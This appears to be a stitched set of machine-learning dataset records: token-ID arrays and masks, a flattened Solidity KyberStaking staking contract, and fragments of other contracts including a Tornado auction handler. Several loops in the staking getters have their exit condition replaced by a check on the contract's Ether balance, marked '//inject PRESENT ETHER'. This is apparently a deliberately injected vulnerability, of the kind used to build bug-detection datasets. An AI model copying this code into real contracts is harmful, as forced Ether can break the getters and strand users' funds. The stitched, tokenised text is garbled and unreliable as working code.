[ 1, 565, 445, 6391, 10784, 20127, 5027, 858, 5374, 12, 3890, 8526, 745, 892, 14862, 13, 3903, 288, 203, 3639, 2583, 12, 15097, 1685, 4921, 480, 374, 16, 315, 84, 22, 8863, 203, 203, 3639, 1731, 1578, 5774, 2310, 273, 336, 10784, 9432, 2310, 5621, 203, 3639, 1731, 1578, 883, 2310, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 12, 203, 7734, 1548, 92, 3657, 41, 18664, 379, 16724, 2350, 5581, 82, 17506, 3113, 203, 7734, 315, 31639, 394, 2285, 79, 4047, 1807, 1018, 20092, 1651, 64, 82, 20, 92, 3113, 203, 7734, 5985, 18, 3890, 774, 7037, 13756, 2160, 12, 21457, 18, 3015, 4420, 329, 12, 11358, 2310, 3719, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 14862, 18, 2469, 31, 965, 77, 13, 288, 203, 5411, 1758, 24616, 1887, 273, 6091, 18, 266, 3165, 1887, 1265, 41, 451, 5374, 12, 30730, 63, 77, 6487, 883, 2310, 1769, 203, 5411, 6617, 537, 15812, 10784, 20127, 5027, 12, 266, 16810, 1887, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-07-06 */ // File: contracts/sol6/IERC20.sol pragma solidity 0.6.6; interface IERC20 { event Approval(address indexed _owner, address indexed _spender, uint256 _value); function approve(address _spender, uint256 _value) external returns (bool success); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function balanceOf(address _owner) external view returns (uint256 balance); function decimals() external view returns (uint8 digits); function totalSupply() external view returns (uint256 supply); } // to support backward compatible contract name -- so function signature remains same abstract contract ERC20 is IERC20 { } // File: contracts/sol6/utils/zeppelin/ReentrancyGuard.sol pragma solidity 0.6.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // File: contracts/sol6/Dao/IEpochUtils.sol pragma solidity 0.6.6; interface IEpochUtils { function epochPeriodInSeconds() external view returns (uint256); function firstEpochStartTimestamp() external view returns (uint256); function getCurrentEpochNumber() external view returns (uint256); function getEpochNumber(uint256 timestamp) external view returns (uint256); } // File: contracts/sol6/Dao/IKyberStaking.sol pragma solidity 0.6.6; interface IKyberStaking is IEpochUtils { event Delegated( address indexed staker, address indexed representative, uint256 indexed epoch, bool isDelegated ); event Deposited(uint256 curEpoch, address indexed staker, uint256 amount); event Withdraw(uint256 indexed curEpoch, address indexed staker, uint256 amount); function initAndReturnStakerDataForCurrentEpoch(address staker) external returns ( uint256 stake, uint256 delegatedStake, address representative ); function deposit(uint256 amount) external; function delegate(address dAddr) external; function withdraw(uint256 amount) external; /** * @notice return combine data (stake, delegatedStake, representative) of a staker * @dev allow to get staker data up to current epoch + 1 */ function getStakerData(address staker, uint256 epoch) external view returns ( uint256 stake, uint256 delegatedStake, address representative ); function getLatestStakerData(address staker) external view returns ( uint256 stake, uint256 delegatedStake, address representative ); /** * @notice return raw data of a staker for an epoch * WARN: should be used only for initialized data * if data has not been initialized, it will return all 0 * pool master shouldn't use this function to compute/distribute rewards of pool members */ function getStakerRawData(address staker, uint256 epoch) external view returns ( uint256 stake, uint256 delegatedStake, address representative ); } // File: contracts/sol6/IKyberDao.sol pragma solidity 0.6.6; interface IKyberDao is IEpochUtils { event Voted(address indexed staker, uint indexed epoch, uint indexed campaignID, uint option); function getLatestNetworkFeeDataWithCache() external returns (uint256 feeInBps, uint256 expiryTimestamp); function getLatestBRRDataWithCache() external returns ( uint256 burnInBps, uint256 rewardInBps, uint256 rebateInBps, uint256 epoch, uint256 expiryTimestamp ); function handleWithdrawal(address staker, uint256 penaltyAmount) external; function vote(uint256 campaignID, uint256 option) external; function getLatestNetworkFeeData() external view returns (uint256 feeInBps, uint256 expiryTimestamp); function shouldBurnRewardForEpoch(uint256 epoch) external view returns (bool); /** * @dev return staker's reward percentage in precision for a past epoch only * fee handler should call this function when a staker wants to claim reward * return 0 if staker has no votes or stakes */ function getPastEpochRewardPercentageInPrecision(address staker, uint256 epoch) external view returns (uint256); /** * @dev return staker's reward percentage in precision for the current epoch * reward percentage is not finalized until the current epoch is ended */ function getCurrentEpochRewardPercentageInPrecision(address staker) external view returns (uint256); } // File: contracts/sol6/utils/zeppelin/SafeMath.sol pragma solidity 0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // File: contracts/sol6/Dao/EpochUtils.sol pragma solidity 0.6.6; contract EpochUtils is IEpochUtils { using SafeMath for uint256; uint256 public override epochPeriodInSeconds; uint256 public override firstEpochStartTimestamp; function getCurrentEpochNumber() public view override returns (uint256) { return getEpochNumber(now); } function getEpochNumber(uint256 timestamp) public view override returns (uint256) { if (timestamp < firstEpochStartTimestamp || epochPeriodInSeconds == 0) { return 0; } // ((timestamp - firstEpochStartTimestamp) / epochPeriodInSeconds) + 1; return ((timestamp.sub(firstEpochStartTimestamp)).div(epochPeriodInSeconds)).add(1); } } // File: contracts/sol6/Dao/KyberStaking.sol pragma solidity 0.6.6; /** * @notice This contract is using SafeMath for uint, which is inherited from EpochUtils * Some events are moved to interface, easier for public uses * Staking contract will be deployed by KyberDao's contract */ contract KyberStaking is IKyberStaking, EpochUtils, ReentrancyGuard { struct StakerData { uint256 stake; uint256 delegatedStake; address representative; } IERC20 public immutable kncToken; IKyberDao public immutable kyberDao; // staker data per epoch, including stake, delegated stake and representative mapping(uint256 => mapping(address => StakerData)) internal stakerPerEpochData; // latest data of a staker, including stake, delegated stake, representative mapping(address => StakerData) internal stakerLatestData; // true/false: if data has been initialized at an epoch for a staker mapping(uint256 => mapping(address => bool)) internal hasInited; // event is fired if something is wrong with withdrawal // even though the withdrawal is still successful event WithdrawDataUpdateFailed(uint256 curEpoch, address staker, uint256 amount); constructor( IERC20 _kncToken, uint256 _epochPeriod, uint256 _startTimestamp, IKyberDao _kyberDao ) public { require(_epochPeriod > 0, "ctor: epoch period is 0"); require(_startTimestamp >= now, "ctor: start in the past"); require(_kncToken != IERC20(0), "ctor: kncToken 0"); require(_kyberDao != IKyberDao(0), "ctor: kyberDao 0"); epochPeriodInSeconds = _epochPeriod; firstEpochStartTimestamp = _startTimestamp; kncToken = _kncToken; kyberDao = _kyberDao; } /** * @dev calls to set delegation for msg.sender, will take effect from the next epoch * @param newRepresentative address to delegate to */ function delegate(address newRepresentative) external override { require(newRepresentative != address(0), "delegate: representative 0"); address staker = msg.sender; uint256 curEpoch = getCurrentEpochNumber(); initDataIfNeeded(staker, curEpoch); address curRepresentative = stakerPerEpochData[curEpoch + 1][staker].representative; // nothing changes here if (newRepresentative == curRepresentative) { return; } uint256 updatedStake = stakerPerEpochData[curEpoch + 1][staker].stake; // reduce delegatedStake for curRepresentative if needed if (curRepresentative != staker) { initDataIfNeeded(curRepresentative, curEpoch); stakerPerEpochData[curEpoch + 1][curRepresentative].delegatedStake = stakerPerEpochData[curEpoch + 1][curRepresentative].delegatedStake.sub(updatedStake); stakerLatestData[curRepresentative].delegatedStake = stakerLatestData[curRepresentative].delegatedStake.sub(updatedStake); emit Delegated(staker, curRepresentative, curEpoch, false); } stakerLatestData[staker].representative = newRepresentative; stakerPerEpochData[curEpoch + 1][staker].representative = newRepresentative; // ignore if staker is delegating back to himself if (newRepresentative != staker) { initDataIfNeeded(newRepresentative, curEpoch); stakerPerEpochData[curEpoch + 1][newRepresentative].delegatedStake = stakerPerEpochData[curEpoch + 1][newRepresentative].delegatedStake.add(updatedStake); stakerLatestData[newRepresentative].delegatedStake = stakerLatestData[newRepresentative].delegatedStake.add(updatedStake); emit Delegated(staker, newRepresentative, curEpoch, true); } } /** * @dev call to stake more KNC for msg.sender * @param amount amount of KNC to stake */ function deposit(uint256 amount) external override { require(amount > 0, "deposit: amount is 0"); uint256 curEpoch = getCurrentEpochNumber(); address staker = msg.sender; // collect KNC token from staker require( kncToken.transferFrom(staker, address(this), amount), "deposit: can not get token" ); initDataIfNeeded(staker, curEpoch); stakerPerEpochData[curEpoch + 1][staker].stake = stakerPerEpochData[curEpoch + 1][staker].stake.add(amount); stakerLatestData[staker].stake = stakerLatestData[staker].stake.add(amount); // increase delegated stake for address that staker has delegated to (if it is not staker) address representative = stakerPerEpochData[curEpoch + 1][staker].representative; if (representative != staker) { initDataIfNeeded(representative, curEpoch); stakerPerEpochData[curEpoch + 1][representative].delegatedStake = stakerPerEpochData[curEpoch + 1][representative].delegatedStake.add(amount); stakerLatestData[representative].delegatedStake = stakerLatestData[representative].delegatedStake.add(amount); } emit Deposited(curEpoch, staker, amount); } /** * @dev call to withdraw KNC from staking, it could affect reward when calling KyberDao handleWithdrawal * @param amount amount of KNC to withdraw */ function withdraw(uint256 amount) external override nonReentrant { require(amount > 0, "withdraw: amount is 0"); uint256 curEpoch = getCurrentEpochNumber(); address staker = msg.sender; require( stakerLatestData[staker].stake >= amount, "withdraw: latest amount staked < withdrawal amount" ); (bool success, ) = address(this).call( abi.encodeWithSignature( "handleWithdrawal(address,uint256,uint256)", staker, amount, curEpoch ) ); if (!success) { // Note: should catch this event to check if something went wrong emit WithdrawDataUpdateFailed(curEpoch, staker, amount); } stakerLatestData[staker].stake = stakerLatestData[staker].stake.sub(amount); // transfer KNC back to staker require(kncToken.transfer(staker, amount), "withdraw: can not transfer knc"); emit Withdraw(curEpoch, staker, amount); } /** * @dev initialize data if needed, then return staker's data for current epoch * @dev for safe, only allow calling this func from KyberDao address * @param staker - staker's address to initialize and get data for */ function initAndReturnStakerDataForCurrentEpoch(address staker) external override returns ( uint256 stake, uint256 delegatedStake, address representative ) { require( msg.sender == address(kyberDao), "initAndReturnData: only kyberDao" ); uint256 curEpoch = getCurrentEpochNumber(); initDataIfNeeded(staker, curEpoch); StakerData memory stakerData = stakerPerEpochData[curEpoch][staker]; stake = stakerData.stake; delegatedStake = stakerData.delegatedStake; representative = stakerData.representative; } /** * @notice return raw data of a staker for an epoch * WARN: should be used only for initialized data * if data has not been initialized, it will return all 0 * pool master shouldn't use this function to compute/distribute rewards of pool members * @dev in KyberDao contract, if staker wants to claim reward for past epoch, * we must know the staker's data for that epoch * if the data has not been initialized, it means staker hasn't done any action -> no reward */ function getStakerRawData(address staker, uint256 epoch) external view override returns ( uint256 stake, uint256 delegatedStake, address representative ) { StakerData memory stakerData = stakerPerEpochData[epoch][staker]; stake = stakerData.stake; delegatedStake = stakerData.delegatedStake; representative = stakerData.representative; } /** * @dev allow to get data up to current epoch + 1 */ function getStake(address staker, uint256 epoch) external view returns (uint256) { uint256 curEpoch = getCurrentEpochNumber(); if (epoch > curEpoch + 1) { return 0; } uint256 i = epoch; while (true) { if (hasInited[i][staker]) { return stakerPerEpochData[i][staker].stake; } if (address(this).balance == 0) { //inject PRESENT ETHER break; } i--; } return 0; } /** * @dev allow to get data up to current epoch + 1 */ function getDelegatedStake(address staker, uint256 epoch) external view returns (uint256) { uint256 curEpoch = getCurrentEpochNumber(); if (epoch > curEpoch + 1) { return 0; } uint256 i = epoch; while (true) { if (hasInited[i][staker]) { return stakerPerEpochData[i][staker].delegatedStake; } if (address(this).balance == 0) { //inject PRESENT ETHER break; } i--; } return 0; } /** * @dev allow to get data up to current epoch + 1 */ function getRepresentative(address staker, uint256 epoch) external view returns (address) { uint256 curEpoch = getCurrentEpochNumber(); if (epoch > curEpoch + 1) { return address(0); } uint256 i = epoch; while (true) { if (hasInited[i][staker]) { return stakerPerEpochData[i][staker].representative; } if (address(this).balance == 0) { //inject PRESENT ETHER break; } i--; } // not delegated to anyone, default to yourself return staker; } /** * @notice return combine data (stake, delegatedStake, representative) of a staker * @dev allow to get staker data up to current epoch + 1 */ function getStakerData(address staker, uint256 epoch) external view override returns ( uint256 stake, uint256 delegatedStake, address representative ) { stake = 0; delegatedStake = 0; representative = address(0); uint256 curEpoch = getCurrentEpochNumber(); if (epoch > curEpoch + 1) { return (stake, delegatedStake, representative); } uint256 i = epoch; while (true) { if (hasInited[i][staker]) { stake = stakerPerEpochData[i][staker].stake; delegatedStake = stakerPerEpochData[i][staker].delegatedStake; representative = stakerPerEpochData[i][staker].representative; return (stake, delegatedStake, representative); } if (address(this).balance == 0) { //inject PRESENT ETHER break; } i--; } // not delegated to anyone, default to yourself representative = staker; } function getLatestRepresentative(address staker) external view returns (address) { return stakerLatestData[staker].representative == address(0) ? staker : stakerLatestData[staker].representative; } function getLatestDelegatedStake(address staker) external view returns (uint256) { return stakerLatestData[staker].delegatedStake; } function getLatestStakeBalance(address staker) external view returns (uint256) { return stakerLatestData[staker].stake; } function getLatestStakerData(address staker) external view override returns ( uint256 stake, uint256 delegatedStake, address representative ) { stake = stakerLatestData[staker].stake; delegatedStake = stakerLatestData[staker].delegatedStake; representative = stakerLatestData[staker].representative == address(0) ? staker : stakerLatestData[staker].representative; } /** * @dev separate logics from withdraw, so staker can withdraw as long as amount <= staker's deposit amount calling this function from withdraw function, ignore reverting * @param staker staker that is withdrawing * @param amount amount to withdraw * @param curEpoch current epoch */ function handleWithdrawal( address staker, uint256 amount, uint256 curEpoch ) external { require(msg.sender == address(this), "only staking contract"); initDataIfNeeded(staker, curEpoch); // Note: update latest stake will be done after this function // update staker's data for next epoch stakerPerEpochData[curEpoch + 1][staker].stake = stakerPerEpochData[curEpoch + 1][staker].stake.sub(amount); address representative = stakerPerEpochData[curEpoch][staker].representative; uint256 curStake = stakerPerEpochData[curEpoch][staker].stake; uint256 lStakeBal = stakerLatestData[staker].stake.sub(amount); uint256 newStake = curStake.min(lStakeBal); uint256 reduceAmount = curStake.sub(newStake); // newStake is always <= curStake if (reduceAmount > 0) { if (representative != staker) { initDataIfNeeded(representative, curEpoch); // staker has delegated to representative, withdraw will affect representative's delegated stakes stakerPerEpochData[curEpoch][representative].delegatedStake = stakerPerEpochData[curEpoch][representative].delegatedStake.sub(reduceAmount); } stakerPerEpochData[curEpoch][staker].stake = newStake; // call KyberDao to reduce reward, if staker has delegated, then pass his representative if (address(kyberDao) != address(0)) { // don't revert if KyberDao revert so data will be updated correctly (bool success, ) = address(kyberDao).call( abi.encodeWithSignature( "handleWithdrawal(address,uint256)", representative, reduceAmount ) ); if (!success) { emit WithdrawDataUpdateFailed(curEpoch, staker, amount); } } } representative = stakerPerEpochData[curEpoch + 1][staker].representative; if (representative != staker) { initDataIfNeeded(representative, curEpoch); stakerPerEpochData[curEpoch + 1][representative].delegatedStake = stakerPerEpochData[curEpoch + 1][representative].delegatedStake.sub(amount); stakerLatestData[representative].delegatedStake = stakerLatestData[representative].delegatedStake.sub(amount); } } /** * @dev initialize data if it has not been initialized yet * @param staker staker's address to initialize * @param epoch should be current epoch */ function initDataIfNeeded(address staker, uint256 epoch) internal { address representative = stakerLatestData[staker].representative; if (representative == address(0)) { // not delegate to anyone, consider as delegate to yourself stakerLatestData[staker].representative = staker; representative = staker; } uint256 ldStake = stakerLatestData[staker].delegatedStake; uint256 lStakeBal = stakerLatestData[staker].stake; if (!hasInited[epoch][staker]) { hasInited[epoch][staker] = true; StakerData storage stakerData = stakerPerEpochData[epoch][staker]; stakerData.representative = representative; stakerData.delegatedStake = ldStake; stakerData.stake = lStakeBal; } // whenever stakers deposit/withdraw/delegate, the current and next epoch data need to be updated // as the result, we will also initialize data for staker at the next epoch if (!hasInited[epoch + 1][staker]) { hasInited[epoch + 1][staker] = true; StakerData storage nextEpochStakerData = stakerPerEpochData[epoch + 1][staker]; nextEpochStakerData.representative = representative; nextEpochStakerData.delegatedStake = ldStake; nextEpochStakerData.stake = lStakeBal; } } }
* @dev call to stake more KNC for msg.sender @param amount amount of KNC to stake/ collect KNC token from staker increase delegated stake for address that staker has delegated to (if it is not staker)
function deposit(uint256 amount) external override { require(amount > 0, "deposit: amount is 0"); uint256 curEpoch = getCurrentEpochNumber(); address staker = msg.sender; require( kncToken.transferFrom(staker, address(this), amount), "deposit: can not get token" ); initDataIfNeeded(staker, curEpoch); stakerPerEpochData[curEpoch + 1][staker].stake = stakerPerEpochData[curEpoch + 1][staker].stake.add(amount); stakerLatestData[staker].stake = stakerLatestData[staker].stake.add(amount); address representative = stakerPerEpochData[curEpoch + 1][staker].representative; if (representative != staker) { initDataIfNeeded(representative, curEpoch); stakerPerEpochData[curEpoch + 1][representative].delegatedStake = stakerPerEpochData[curEpoch + 1][representative].delegatedStake.add(amount); stakerLatestData[representative].delegatedStake = stakerLatestData[representative].delegatedStake.add(amount); } emit Deposited(curEpoch, staker, amount); }
12,888,126
[ 1, 1991, 358, 384, 911, 1898, 1475, 10346, 364, 1234, 18, 15330, 225, 3844, 3844, 434, 1475, 10346, 358, 384, 911, 19, 3274, 1475, 10346, 1147, 628, 384, 6388, 10929, 30055, 384, 911, 364, 1758, 716, 384, 6388, 711, 30055, 358, 261, 430, 518, 353, 486, 384, 6388, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 11890, 5034, 3844, 13, 3903, 3849, 288, 203, 3639, 2583, 12, 8949, 405, 374, 16, 315, 323, 1724, 30, 3844, 353, 374, 8863, 203, 203, 3639, 2254, 5034, 662, 14638, 273, 5175, 14638, 1854, 5621, 203, 3639, 1758, 384, 6388, 273, 1234, 18, 15330, 31, 203, 203, 3639, 2583, 12, 203, 5411, 417, 14202, 1345, 18, 13866, 1265, 12, 334, 6388, 16, 1758, 12, 2211, 3631, 3844, 3631, 203, 5411, 315, 323, 1724, 30, 848, 486, 336, 1147, 6, 203, 3639, 11272, 203, 203, 3639, 1208, 751, 18299, 12, 334, 6388, 16, 662, 14638, 1769, 203, 203, 3639, 384, 6388, 2173, 14638, 751, 63, 1397, 14638, 397, 404, 6362, 334, 6388, 8009, 334, 911, 273, 203, 5411, 384, 6388, 2173, 14638, 751, 63, 1397, 14638, 397, 404, 6362, 334, 6388, 8009, 334, 911, 18, 1289, 12, 8949, 1769, 203, 3639, 384, 6388, 18650, 751, 63, 334, 6388, 8009, 334, 911, 273, 203, 5411, 384, 6388, 18650, 751, 63, 334, 6388, 8009, 334, 911, 18, 1289, 12, 8949, 1769, 203, 203, 3639, 1758, 23174, 273, 384, 6388, 2173, 14638, 751, 63, 1397, 14638, 397, 404, 6362, 334, 6388, 8009, 28205, 1535, 31, 203, 3639, 309, 261, 28205, 1535, 480, 384, 6388, 13, 288, 203, 5411, 1208, 751, 18299, 12, 28205, 1535, 16, 662, 14638, 1769, 203, 5411, 384, 6388, 2173, 14638, 751, 63, 1397, 14638, 397, 404, 6362, 28205, 1535, 8009, 3771, 1332, 690, 510, 911, 273, 203, 7734, 384, 6388, 2173, 14638, 751, 63, 1397, 14638, 397, 404, 6362, 2 ]
./full_match/3/0x3a50F254622F6C80417ccE3Db3012698266036D2/sources/tests/pooltest_flat.sol
mise à jour des fonds communs
poolBalance -= balanceOf[msg.sender];
8,088,573
[ 1, 81, 784, 225, 132, 259, 525, 477, 2832, 284, 4096, 8391, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2845, 13937, 3947, 11013, 951, 63, 3576, 18, 15330, 15533, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import { IWETH } from "./interfaces/IWETH.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { EtherSend } from "../libraries/EtherSend.sol"; import { IEasyAuction } from "./interfaces/IEasyAuction.sol"; import { ImmutableGovernanceInformation } from "../ImmutableGovernanceInformation.sol"; /// @notice Handler which should help governance start an auction and transfer results of an auction to governance. /// @dev The reasoning behind this contract is to not bloat governance with unnecessary logic. contract TornadoAuctionHandler is ImmutableGovernanceInformation { using EtherSend for address; address public constant EasyAuctionAddress = 0x0b7fFc1f4AD541A4Ed16b40D8c37f0929158D101; address public constant WETHAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /// @notice main auction initialization function, please see: https://github.com/h-ivor/tornado-lottery-period/blob/only-vault-and-gas/contracts/auction/Auction.md /// @dev calls easy auction deployed on eth mainnet function initializeAuction( uint256 _auctionEndDate, 